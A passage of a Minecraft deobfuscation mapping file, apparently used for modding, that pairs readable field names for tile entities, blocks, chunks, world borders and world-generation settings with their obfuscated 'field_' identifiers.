net/minecraft/tileentity/TileEntityEnchantmentTable/pageFlip net/minecraft/tileentity/TileEntityEnchantmentTable/field_145933_i +FD: net/minecraft/tileentity/TileEntityEnchantmentTable/pageFlipPrev net/minecraft/tileentity/TileEntityEnchantmentTable/field_145931_j +FD: net/minecraft/tileentity/TileEntityEnchantmentTable/field_145932_k net/minecraft/tileentity/TileEntityEnchantmentTable/field_145932_k +FD: net/minecraft/tileentity/TileEntityEnchantmentTable/field_145929_l net/minecraft/tileentity/TileEntityEnchantmentTable/field_145929_l +FD: net/minecraft/tileentity/TileEntityEnchantmentTable/bookSpread net/minecraft/tileentity/TileEntityEnchantmentTable/field_145930_m +FD: net/minecraft/tileentity/TileEntityEnchantmentTable/bookSpreadPrev net/minecraft/tileentity/TileEntityEnchantmentTable/field_145927_n +FD: net/minecraft/tileentity/TileEntityEnchantmentTable/bookRotation net/minecraft/tileentity/TileEntityEnchantmentTable/field_145928_o +FD: net/minecraft/tileentity/TileEntityEnchantmentTable/bookRotationPrev net/minecraft/tileentity/TileEntityEnchantmentTable/field_145925_p +FD: net/minecraft/tileentity/TileEntityEnchantmentTable/field_145924_q net/minecraft/tileentity/TileEntityEnchantmentTable/field_145924_q +FD: net/minecraft/tileentity/TileEntityEnchantmentTable/rand net/minecraft/tileentity/TileEntityEnchantmentTable/field_145923_r +FD: net/minecraft/tileentity/TileEntityEnchantmentTable/customName net/minecraft/tileentity/TileEntityEnchantmentTable/field_145922_s +FD: net/minecraft/tileentity/TileEntityEnderChest/lidAngle net/minecraft/tileentity/TileEntityEnderChest/field_145972_a +FD: net/minecraft/tileentity/TileEntityEnderChest/prevLidAngle net/minecraft/tileentity/TileEntityEnderChest/field_145975_i +FD: net/minecraft/tileentity/TileEntityEnderChest/numPlayersUsing net/minecraft/tileentity/TileEntityEnderChest/field_145973_j +FD: net/minecraft/tileentity/TileEntityEnderChest/ticksSinceSync net/minecraft/tileentity/TileEntityEnderChest/field_145974_k +FD: net/minecraft/tileentity/TileEntityFlowerPot/flowerPotItem net/minecraft/tileentity/TileEntityFlowerPot/field_145967_a +FD: net/minecraft/tileentity/TileEntityFlowerPot/flowerPotData net/minecraft/tileentity/TileEntityFlowerPot/field_145968_i +FD: net/minecraft/tileentity/TileEntityFurnace/slotsTop net/minecraft/tileentity/TileEntityFurnace/field_145962_k +FD: net/minecraft/tileentity/TileEntityFurnace/slotsBottom net/minecraft/tileentity/TileEntityFurnace/field_145959_l +FD: net/minecraft/tileentity/TileEntityFurnace/slotsSides net/minecraft/tileentity/TileEntityFurnace/field_145960_m +FD: net/minecraft/tileentity/TileEntityFurnace/furnaceItemStacks net/minecraft/tileentity/TileEntityFurnace/field_145957_n +FD: net/minecraft/tileentity/TileEntityFurnace/furnaceBurnTime net/minecraft/tileentity/TileEntityFurnace/field_145956_a +FD: net/minecraft/tileentity/TileEntityFurnace/currentItemBurnTime net/minecraft/tileentity/TileEntityFurnace/field_145963_i +FD: net/minecraft/tileentity/TileEntityFurnace/cookTime net/minecraft/tileentity/TileEntityFurnace/field_174906_k +FD: net/minecraft/tileentity/TileEntityFurnace/totalCookTime net/minecraft/tileentity/TileEntityFurnace/field_174905_l +FD: net/minecraft/tileentity/TileEntityFurnace/furnaceCustomName net/minecraft/tileentity/TileEntityFurnace/field_145958_o +FD: net/minecraft/tileentity/TileEntityHopper/inventory net/minecraft/tileentity/TileEntityHopper/field_145900_a +FD: net/minecraft/tileentity/TileEntityHopper/customName net/minecraft/tileentity/TileEntityHopper/field_145902_i +FD: net/minecraft/tileentity/TileEntityHopper/transferCooldown net/minecraft/tileentity/TileEntityHopper/field_145901_j +FD: net/minecraft/tileentity/TileEntityLockable/code net/minecraft/tileentity/TileEntityLockable/field_174901_a +FD: net/minecraft/tileentity/TileEntityMobSpawner$1/field_150825_a net/minecraft/tileentity/TileEntityMobSpawner$1/field_150825_a +FD: net/minecraft/tileentity/TileEntityMobSpawner/spawnerLogic net/minecraft/tileentity/TileEntityMobSpawner/field_145882_a +FD: net/minecraft/tileentity/TileEntityNote/note net/minecraft/tileentity/TileEntityNote/field_145879_a +FD: net/minecraft/tileentity/TileEntityNote/previousRedstoneState net/minecraft/tileentity/TileEntityNote/field_145880_i +FD: net/minecraft/tileentity/TileEntitySign$1/field_174795_a net/minecraft/tileentity/TileEntitySign$1/field_174795_a +FD: net/minecraft/tileentity/TileEntitySign$2/field_174797_a net/minecraft/tileentity/TileEntitySign$2/field_174797_a +FD: net/minecraft/tileentity/TileEntitySign$2/field_174796_b net/minecraft/tileentity/TileEntitySign$2/field_174796_b +FD: net/minecraft/tileentity/TileEntitySign/signText net/minecraft/tileentity/TileEntitySign/field_145915_a +FD: net/minecraft/tileentity/TileEntitySign/lineBeingEdited net/minecraft/tileentity/TileEntitySign/field_145918_i +FD: net/minecraft/tileentity/TileEntitySign/isEditable net/minecraft/tileentity/TileEntitySign/field_145916_j +FD: net/minecraft/tileentity/TileEntitySign/player net/minecraft/tileentity/TileEntitySign/field_145917_k +FD: net/minecraft/tileentity/TileEntitySign/stats net/minecraft/tileentity/TileEntitySign/field_174883_i +FD: net/minecraft/tileentity/TileEntitySkull/skullType net/minecraft/tileentity/TileEntitySkull/field_145908_a +FD: net/minecraft/tileentity/TileEntitySkull/skullRotation net/minecraft/tileentity/TileEntitySkull/field_145910_i +FD: net/minecraft/tileentity/TileEntitySkull/playerProfile net/minecraft/tileentity/TileEntitySkull/field_152110_j +FD: net/minecraft/block/BlockPistonBase$1/field_177243_a net/minecraft/block/BlockPistonBase$1/field_177243_a +FD: net/minecraft/block/BlockPistonBase/isSticky net/minecraft/block/BlockPistonBase/field_150082_a +FD: net/minecraft/block/BlockPistonBase/FACING net/minecraft/block/BlockPistonBase/field_176321_a +FD: net/minecraft/block/BlockPistonBase/EXTENDED net/minecraft/block/BlockPistonBase/field_176320_b +FD: net/minecraft/block/BlockPistonExtension$1/field_177247_a net/minecraft/block/BlockPistonExtension$1/field_177247_a +FD: net/minecraft/block/BlockPistonExtension$EnumPistonType/DEFAULT net/minecraft/block/BlockPistonExtension$EnumPistonType/DEFAULT +FD: net/minecraft/block/BlockPistonExtension$EnumPistonType/STICKY net/minecraft/block/BlockPistonExtension$EnumPistonType/STICKY +FD: net/minecraft/block/BlockPistonExtension$EnumPistonType/VARIANT net/minecraft/block/BlockPistonExtension$EnumPistonType/field_176714_c +FD: net/minecraft/block/BlockPistonExtension$EnumPistonType/$VALUES net/minecraft/block/BlockPistonExtension$EnumPistonType/$VALUES +FD: net/minecraft/block/BlockPistonExtension/SHORT net/minecraft/block/BlockPistonExtension/field_176327_M +FD: net/minecraft/block/BlockPistonExtension/FACING net/minecraft/block/BlockPistonExtension/field_176326_a +FD: net/minecraft/block/BlockPistonExtension/TYPE net/minecraft/block/BlockPistonExtension/field_176325_b +FD: net/minecraft/tileentity/TileEntityPiston$1/field_177248_a net/minecraft/tileentity/TileEntityPiston$1/field_177248_a +FD: net/minecraft/tileentity/TileEntityPiston/pistonState net/minecraft/tileentity/TileEntityPiston/field_174932_a +FD: net/minecraft/tileentity/TileEntityPiston/pistonFacing net/minecraft/tileentity/TileEntityPiston/field_174931_f +FD: net/minecraft/tileentity/TileEntityPiston/extending net/minecraft/tileentity/TileEntityPiston/field_145875_k +FD: net/minecraft/tileentity/TileEntityPiston/shouldHeadBeRendered net/minecraft/tileentity/TileEntityPiston/field_145872_l +FD: net/minecraft/tileentity/TileEntityPiston/progress net/minecraft/tileentity/TileEntityPiston/field_145873_m +FD: net/minecraft/tileentity/TileEntityPiston/lastProgress net/minecraft/tileentity/TileEntityPiston/field_145870_n +FD: net/minecraft/tileentity/TileEntityPiston/field_174933_k net/minecraft/tileentity/TileEntityPiston/field_174933_k +FD: net/minecraft/block/BlockPistonMoving/FACING net/minecraft/block/BlockPistonMoving/field_176426_a +FD: net/minecraft/block/BlockPistonMoving/TYPE net/minecraft/block/BlockPistonMoving/field_176425_b +FD: net/minecraft/block/state/BlockPistonStructureHelper/world net/minecraft/block/state/BlockPistonStructureHelper/field_177261_a +FD: net/minecraft/block/state/BlockPistonStructureHelper/pistonPos net/minecraft/block/state/BlockPistonStructureHelper/field_177259_b +FD: net/minecraft/block/state/BlockPistonStructureHelper/blockToMove net/minecraft/block/state/BlockPistonStructureHelper/field_177260_c +FD: net/minecraft/block/state/BlockPistonStructureHelper/moveDirection net/minecraft/block/state/BlockPistonStructureHelper/field_177257_d +FD: net/minecraft/block/state/BlockPistonStructureHelper/toMove net/minecraft/block/state/BlockPistonStructureHelper/field_177258_e +FD: net/minecraft/block/state/BlockPistonStructureHelper/toDestroy net/minecraft/block/state/BlockPistonStructureHelper/field_177256_f +FD: net/minecraft/block/state/BlockStateBase/COMMA_JOINER net/minecraft/block/state/BlockStateBase/field_177234_a +FD: net/minecraft/block/state/BlockStateBase/MAP_ENTRY_TO_STRING net/minecraft/block/state/BlockStateBase/field_177233_b +FD: net/minecraft/block/state/BlockState$2/field_177549_a net/minecraft/block/state/BlockState$2/field_177549_a +FD: net/minecraft/block/state/BlockState$StateImplementation/block net/minecraft/block/state/BlockState$StateImplementation/field_177239_a +FD: net/minecraft/block/state/BlockState$StateImplementation/properties net/minecraft/block/state/BlockState$StateImplementation/field_177237_b +FD: net/minecraft/block/state/BlockState$StateImplementation/propertyValueTable net/minecraft/block/state/BlockState$StateImplementation/field_177238_c +FD: net/minecraft/block/state/BlockState/COMMA_JOINER net/minecraft/block/state/BlockState/field_177628_a +FD: net/minecraft/block/state/BlockState/GET_NAME_FUNC net/minecraft/block/state/BlockState/field_177626_b +FD: net/minecraft/block/state/BlockState/block net/minecraft/block/state/BlockState/field_177627_c +FD: net/minecraft/block/state/BlockState/properties net/minecraft/block/state/BlockState/field_177624_d +FD: net/minecraft/block/state/BlockState/validStates net/minecraft/block/state/BlockState/field_177625_e +FD: net/minecraft/block/state/BlockWorldState$1/field_177504_a net/minecraft/block/state/BlockWorldState$1/field_177504_a +FD: net/minecraft/block/state/BlockWorldState/world net/minecraft/block/state/BlockWorldState/field_177515_a +FD: net/minecraft/block/state/BlockWorldState/pos net/minecraft/block/state/BlockWorldState/field_177513_b +FD: net/minecraft/block/state/BlockWorldState/field_181628_c net/minecraft/block/state/BlockWorldState/field_181628_c +FD: net/minecraft/block/state/BlockWorldState/state net/minecraft/block/state/BlockWorldState/field_177514_c +FD: net/minecraft/block/state/BlockWorldState/tileEntity net/minecraft/block/state/BlockWorldState/field_177511_d +FD: net/minecraft/block/state/BlockWorldState/tileEntityInitialized net/minecraft/block/state/BlockWorldState/field_177512_e +FD: net/minecraft/block/state/pattern/BlockPattern$CacheLoader/world net/minecraft/block/state/pattern/BlockPattern$CacheLoader/field_177680_a +FD: net/minecraft/block/state/pattern/BlockPattern$CacheLoader/field_181626_b net/minecraft/block/state/pattern/BlockPattern$CacheLoader/field_181626_b +FD: net/minecraft/block/state/pattern/BlockPattern$PatternHelper/pos net/minecraft/block/state/pattern/BlockPattern$PatternHelper/field_177674_a +FD: net/minecraft/block/state/pattern/BlockPattern$PatternHelper/finger net/minecraft/block/state/pattern/BlockPattern$PatternHelper/field_177672_b +FD: net/minecraft/block/state/pattern/BlockPattern$PatternHelper/thumb net/minecraft/block/state/pattern/BlockPattern$PatternHelper/field_177673_c +FD: net/minecraft/block/state/pattern/BlockPattern$PatternHelper/lcache net/minecraft/block/state/pattern/BlockPattern$PatternHelper/field_177671_d +FD: net/minecraft/block/state/pattern/BlockPattern$PatternHelper/field_181120_e net/minecraft/block/state/pattern/BlockPattern$PatternHelper/field_181120_e +FD: net/minecraft/block/state/pattern/BlockPattern$PatternHelper/field_181121_f net/minecraft/block/state/pattern/BlockPattern$PatternHelper/field_181121_f +FD: net/minecraft/block/state/pattern/BlockPattern$PatternHelper/field_181122_g net/minecraft/block/state/pattern/BlockPattern$PatternHelper/field_181122_g +FD: net/minecraft/block/state/pattern/BlockPattern/blockMatches net/minecraft/block/state/pattern/BlockPattern/field_177689_a +FD: net/minecraft/block/state/pattern/BlockPattern/fingerLength net/minecraft/block/state/pattern/BlockPattern/field_177687_b +FD: net/minecraft/block/state/pattern/BlockPattern/thumbLength net/minecraft/block/state/pattern/BlockPattern/field_177688_c +FD: net/minecraft/block/state/pattern/BlockPattern/palmLength net/minecraft/block/state/pattern/BlockPattern/field_177686_d +FD: net/minecraft/block/state/pattern/FactoryBlockPattern/COMMA_JOIN net/minecraft/block/state/pattern/FactoryBlockPattern/field_177667_a +FD: net/minecraft/block/state/pattern/FactoryBlockPattern/depth net/minecraft/block/state/pattern/FactoryBlockPattern/field_177665_b +FD: net/minecraft/block/state/pattern/FactoryBlockPattern/symbolMap net/minecraft/block/state/pattern/FactoryBlockPattern/field_177666_c +FD: net/minecraft/block/state/pattern/FactoryBlockPattern/aisleHeight net/minecraft/block/state/pattern/FactoryBlockPattern/field_177663_d +FD: net/minecraft/block/state/pattern/FactoryBlockPattern/rowWidth net/minecraft/block/state/pattern/FactoryBlockPattern/field_177664_e +FD: net/minecraft/block/state/pattern/BlockHelper/block net/minecraft/block/state/pattern/BlockHelper/field_177644_a +FD: net/minecraft/block/state/pattern/BlockStateHelper/blockstate net/minecraft/block/state/pattern/BlockStateHelper/field_177641_a +FD: net/minecraft/block/state/pattern/BlockStateHelper/propertyPredicates net/minecraft/block/state/pattern/BlockStateHelper/field_177640_b +FD: net/minecraft/block/properties/PropertyHelper/valueClass net/minecraft/block/properties/PropertyHelper/field_177704_a +FD: net/minecraft/block/properties/PropertyHelper/name net/minecraft/block/properties/PropertyHelper/field_177703_b +FD: net/minecraft/block/properties/PropertyBool/allowedValues net/minecraft/block/properties/PropertyBool/field_177717_a +FD: net/minecraft/block/properties/PropertyEnum/allowedValues net/minecraft/block/properties/PropertyEnum/field_177711_a +FD: net/minecraft/block/properties/PropertyEnum/nameToValue net/minecraft/block/properties/PropertyEnum/field_177710_b +FD: net/minecraft/block/properties/PropertyInteger/allowedValues net/minecraft/block/properties/PropertyInteger/field_177720_a +FD: net/minecraft/world/border/EnumBorderStatus/GROWING net/minecraft/world/border/EnumBorderStatus/GROWING +FD: net/minecraft/world/border/EnumBorderStatus/SHRINKING net/minecraft/world/border/EnumBorderStatus/SHRINKING +FD: net/minecraft/world/border/EnumBorderStatus/STATIONARY net/minecraft/world/border/EnumBorderStatus/STATIONARY +FD: net/minecraft/world/border/EnumBorderStatus/id net/minecraft/world/border/EnumBorderStatus/field_177767_d +FD: net/minecraft/world/border/EnumBorderStatus/$VALUES net/minecraft/world/border/EnumBorderStatus/$VALUES +FD: net/minecraft/world/border/WorldBorder/listeners net/minecraft/world/border/WorldBorder/field_177758_a +FD: net/minecraft/world/border/WorldBorder/centerX net/minecraft/world/border/WorldBorder/field_177756_b +FD: net/minecraft/world/border/WorldBorder/centerZ net/minecraft/world/border/WorldBorder/field_177757_c +FD: net/minecraft/world/border/WorldBorder/startDiameter net/minecraft/world/border/WorldBorder/field_177754_d +FD: net/minecraft/world/border/WorldBorder/endDiameter net/minecraft/world/border/WorldBorder/field_177755_e +FD: net/minecraft/world/border/WorldBorder/endTime net/minecraft/world/border/WorldBorder/field_177752_f +FD: net/minecraft/world/border/WorldBorder/startTime net/minecraft/world/border/WorldBorder/field_177753_g +FD: net/minecraft/world/border/WorldBorder/worldSize net/minecraft/world/border/WorldBorder/field_177762_h +FD: net/minecraft/world/border/WorldBorder/damageAmount net/minecraft/world/border/WorldBorder/field_177763_i +FD: net/minecraft/world/border/WorldBorder/damageBuffer net/minecraft/world/border/WorldBorder/field_177760_j +FD: net/minecraft/world/border/WorldBorder/warningTime net/minecraft/world/border/WorldBorder/field_177761_k +FD: net/minecraft/world/border/WorldBorder/warningDistance net/minecraft/world/border/WorldBorder/field_177759_l +FD: net/minecraft/world/chunk/NibbleArray/data net/minecraft/world/chunk/NibbleArray/field_76585_a +FD: net/minecraft/world/chunk/Chunk$1/field_150824_a net/minecraft/world/chunk/Chunk$1/field_150824_a +FD: net/minecraft/world/chunk/Chunk$1/field_150822_b net/minecraft/world/chunk/Chunk$1/field_150822_b +FD: net/minecraft/world/chunk/Chunk$1/field_150823_c net/minecraft/world/chunk/Chunk$1/field_150823_c +FD: net/minecraft/world/chunk/Chunk$1/field_150821_d net/minecraft/world/chunk/Chunk$1/field_150821_d +FD: net/minecraft/world/chunk/Chunk$2/field_177457_a net/minecraft/world/chunk/Chunk$2/field_177457_a +FD: net/minecraft/world/chunk/Chunk$2/field_177456_b net/minecraft/world/chunk/Chunk$2/field_177456_b +FD: net/minecraft/world/chunk/Chunk$3/field_177450_a net/minecraft/world/chunk/Chunk$3/field_177450_a +FD: net/minecraft/world/chunk/Chunk$3/field_177449_b net/minecraft/world/chunk/Chunk$3/field_177449_b +FD: net/minecraft/world/chunk/Chunk$EnumCreateEntityType/IMMEDIATE net/minecraft/world/chunk/Chunk$EnumCreateEntityType/IMMEDIATE +FD: net/minecraft/world/chunk/Chunk$EnumCreateEntityType/QUEUED net/minecraft/world/chunk/Chunk$EnumCreateEntityType/QUEUED +FD: net/minecraft/world/chunk/Chunk$EnumCreateEntityType/CHECK net/minecraft/world/chunk/Chunk$EnumCreateEntityType/CHECK +FD: net/minecraft/world/chunk/Chunk$EnumCreateEntityType/$VALUES net/minecraft/world/chunk/Chunk$EnumCreateEntityType/$VALUES +FD: net/minecraft/world/chunk/Chunk/xPosition net/minecraft/world/chunk/Chunk/field_76635_g +FD: net/minecraft/world/chunk/Chunk/zPosition net/minecraft/world/chunk/Chunk/field_76647_h +FD: net/minecraft/world/chunk/Chunk/logger net/minecraft/world/chunk/Chunk/field_150817_t +FD: net/minecraft/world/chunk/Chunk/storageArrays net/minecraft/world/chunk/Chunk/field_76652_q +FD: net/minecraft/world/chunk/Chunk/blockBiomeArray net/minecraft/world/chunk/Chunk/field_76651_r +FD: net/minecraft/world/chunk/Chunk/precipitationHeightMap net/minecraft/world/chunk/Chunk/field_76638_b +FD: net/minecraft/world/chunk/Chunk/updateSkylightColumns net/minecraft/world/chunk/Chunk/field_76639_c +FD: net/minecraft/world/chunk/Chunk/isChunkLoaded net/minecraft/world/chunk/Chunk/field_76636_d +FD: net/minecraft/world/chunk/Chunk/worldObj net/minecraft/world/chunk/Chunk/field_76637_e +FD: net/minecraft/world/chunk/Chunk/heightMap net/minecraft/world/chunk/Chunk/field_76634_f +FD: net/minecraft/world/chunk/Chunk/isGapLightingUpdated net/minecraft/world/chunk/Chunk/field_76650_s +FD: net/minecraft/world/chunk/Chunk/chunkTileEntityMap net/minecraft/world/chunk/Chunk/field_150816_i +FD: net/minecraft/world/chunk/Chunk/entityLists net/minecraft/world/chunk/Chunk/field_76645_j +FD: net/minecraft/world/chunk/Chunk/isTerrainPopulated net/minecraft/world/chunk/Chunk/field_76646_k +FD: net/minecraft/world/chunk/Chunk/isLightPopulated net/minecraft/world/chunk/Chunk/field_150814_l +FD: net/minecraft/world/chunk/Chunk/field_150815_m net/minecraft/world/chunk/Chunk/field_150815_m +FD: net/minecraft/world/chunk/Chunk/isModified net/minecraft/world/chunk/Chunk/field_76643_l +FD: net/minecraft/world/chunk/Chunk/hasEntities net/minecraft/world/chunk/Chunk/field_76644_m +FD: net/minecraft/world/chunk/Chunk/lastSaveTime net/minecraft/world/chunk/Chunk/field_76641_n +FD: net/minecraft/world/chunk/Chunk/heightMapMinimum net/minecraft/world/chunk/Chunk/field_82912_p +FD: net/minecraft/world/chunk/Chunk/inhabitedTime net/minecraft/world/chunk/Chunk/field_111204_q +FD: net/minecraft/world/chunk/Chunk/queuedLightChecks net/minecraft/world/chunk/Chunk/field_76649_t +FD: net/minecraft/world/chunk/Chunk/tileEntityPosQueue net/minecraft/world/chunk/Chunk/field_177447_w +FD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/yBase net/minecraft/world/chunk/storage/ExtendedBlockStorage/field_76684_a +FD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/blockRefCount net/minecraft/world/chunk/storage/ExtendedBlockStorage/field_76682_b +FD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/tickRefCount net/minecraft/world/chunk/storage/ExtendedBlockStorage/field_76683_c +FD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/data net/minecraft/world/chunk/storage/ExtendedBlockStorage/field_177488_d +FD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/blocklightArray net/minecraft/world/chunk/storage/ExtendedBlockStorage/field_76679_g +FD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/skylightArray net/minecraft/world/chunk/storage/ExtendedBlockStorage/field_76685_h +FD: net/minecraft/world/chunk/storage/NibbleArrayReader/data net/minecraft/world/chunk/storage/NibbleArrayReader/field_76689_a +FD: net/minecraft/world/chunk/storage/NibbleArrayReader/depthBits net/minecraft/world/chunk/storage/NibbleArrayReader/field_76687_b +FD: net/minecraft/world/chunk/storage/NibbleArrayReader/depthBitsPlusFour net/minecraft/world/chunk/storage/NibbleArrayReader/field_76688_c +FD: net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/lastUpdated net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/field_76698_a +FD: net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/terrainPopulated net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/field_76696_b +FD: net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/heightmap net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/field_76697_c +FD: net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/blockLight net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/field_76694_d +FD: net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/skyLight net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/field_76695_e +FD: net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/data net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/field_76692_f +FD: net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/blocks net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/field_76693_g +FD: net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/entities net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/field_76702_h +FD: net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/tileEntities net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/field_151564_i +FD: net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/tileTicks net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/field_151563_j +FD: net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/x net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/field_76701_k +FD: net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/z net/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData/field_76699_l +FD: net/minecraft/world/chunk/storage/RegionFile$ChunkBuffer/field_76724_a net/minecraft/world/chunk/storage/RegionFile$ChunkBuffer/field_76724_a +FD: net/minecraft/world/chunk/storage/RegionFile$ChunkBuffer/chunkX net/minecraft/world/chunk/storage/RegionFile$ChunkBuffer/field_76722_b +FD: net/minecraft/world/chunk/storage/RegionFile$ChunkBuffer/chunkZ net/minecraft/world/chunk/storage/RegionFile$ChunkBuffer/field_76723_c +FD: net/minecraft/world/chunk/storage/RegionFile/emptySector net/minecraft/world/chunk/storage/RegionFile/field_76720_a +FD: net/minecraft/world/chunk/storage/RegionFile/fileName net/minecraft/world/chunk/storage/RegionFile/field_76718_b +FD: net/minecraft/world/chunk/storage/RegionFile/dataFile net/minecraft/world/chunk/storage/RegionFile/field_76719_c +FD: net/minecraft/world/chunk/storage/RegionFile/offsets net/minecraft/world/chunk/storage/RegionFile/field_76716_d +FD: net/minecraft/world/chunk/storage/RegionFile/chunkTimestamps net/minecraft/world/chunk/storage/RegionFile/field_76717_e +FD: net/minecraft/world/chunk/storage/RegionFile/sectorFree net/minecraft/world/chunk/storage/RegionFile/field_76714_f +FD: net/minecraft/world/chunk/storage/RegionFile/sizeDelta net/minecraft/world/chunk/storage/RegionFile/field_76715_g +FD: net/minecraft/world/chunk/storage/RegionFile/lastModified net/minecraft/world/chunk/storage/RegionFile/field_76721_h +FD: net/minecraft/world/chunk/storage/RegionFileCache/regionsByFilename net/minecraft/world/chunk/storage/RegionFileCache/field_76553_a +FD: net/minecraft/world/chunk/storage/AnvilChunkLoader/logger net/minecraft/world/chunk/storage/AnvilChunkLoader/field_151505_a +FD: net/minecraft/world/chunk/storage/AnvilChunkLoader/chunksToRemove net/minecraft/world/chunk/storage/AnvilChunkLoader/field_75828_a +FD: net/minecraft/world/chunk/storage/AnvilChunkLoader/pendingAnvilChunksCoordinates net/minecraft/world/chunk/storage/AnvilChunkLoader/field_75826_b +FD: net/minecraft/world/chunk/storage/AnvilChunkLoader/chunkSaveLocation net/minecraft/world/chunk/storage/AnvilChunkLoader/field_75825_d +FD: net/minecraft/world/chunk/storage/AnvilChunkLoader/field_183014_e net/minecraft/world/chunk/storage/AnvilChunkLoader/field_183014_e +FD: net/minecraft/world/WorldProvider/moonPhaseFactors net/minecraft/world/WorldProvider/field_111203_a +FD: net/minecraft/world/WorldProvider/worldObj net/minecraft/world/WorldProvider/field_76579_a +FD: net/minecraft/world/WorldProvider/worldChunkMgr net/minecraft/world/WorldProvider/field_76578_c +FD: net/minecraft/world/WorldProvider/isHellWorld net/minecraft/world/WorldProvider/field_76575_d +FD: net/minecraft/world/WorldProvider/hasNoSky net/minecraft/world/WorldProvider/field_76576_e +FD: net/minecraft/world/WorldProvider/lightBrightnessTable net/minecraft/world/WorldProvider/field_76573_f +FD: net/minecraft/world/WorldProvider/dimensionId net/minecraft/world/WorldProvider/field_76574_g +FD: net/minecraft/world/WorldProvider/terrainType net/minecraft/world/WorldProvider/field_76577_b +FD: net/minecraft/world/WorldProvider/generatorSettings net/minecraft/world/WorldProvider/field_82913_c +FD: net/minecraft/world/WorldProvider/colorsSunriseSunset net/minecraft/world/WorldProvider/field_76580_h +FD: net/minecraft/world/WorldProviderHell$1/field_177764_a net/minecraft/world/WorldProviderHell$1/field_177764_a +FD: net/minecraft/world/gen/MapGenRavine/field_75046_d net/minecraft/world/gen/MapGenRavine/field_75046_d +FD: net/minecraft/world/chunk/ChunkPrimer/data net/minecraft/world/chunk/ChunkPrimer/field_177860_a +FD: net/minecraft/world/chunk/ChunkPrimer/defaultState net/minecraft/world/chunk/ChunkPrimer/field_177859_b +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/useRavines net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177870_A +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/useWaterLakes net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177871_B +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/waterLakeChance net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177872_C +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/useLavaLakes net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177866_D +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/lavaLakeChance net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177867_E +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/useLavaOceans net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177868_F +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/fixedBiome net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177869_G +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/biomeSize net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177877_H +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/riverSize net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177878_I +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/dirtSize net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177879_J +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/dirtCount net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177880_K +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/dirtMinHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177873_L +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/dirtMaxHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177874_M +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/gravelSize net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177875_N +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/gravelCount net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177876_O +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/gravelMinHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177886_P +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/gravelMaxHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177885_Q +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/graniteSize net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177888_R +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/graniteCount net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177887_S +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/graniteMinHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177882_T +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/graniteMaxHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177881_U +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/dioriteSize net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177884_V +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/dioriteCount net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177883_W +FD: 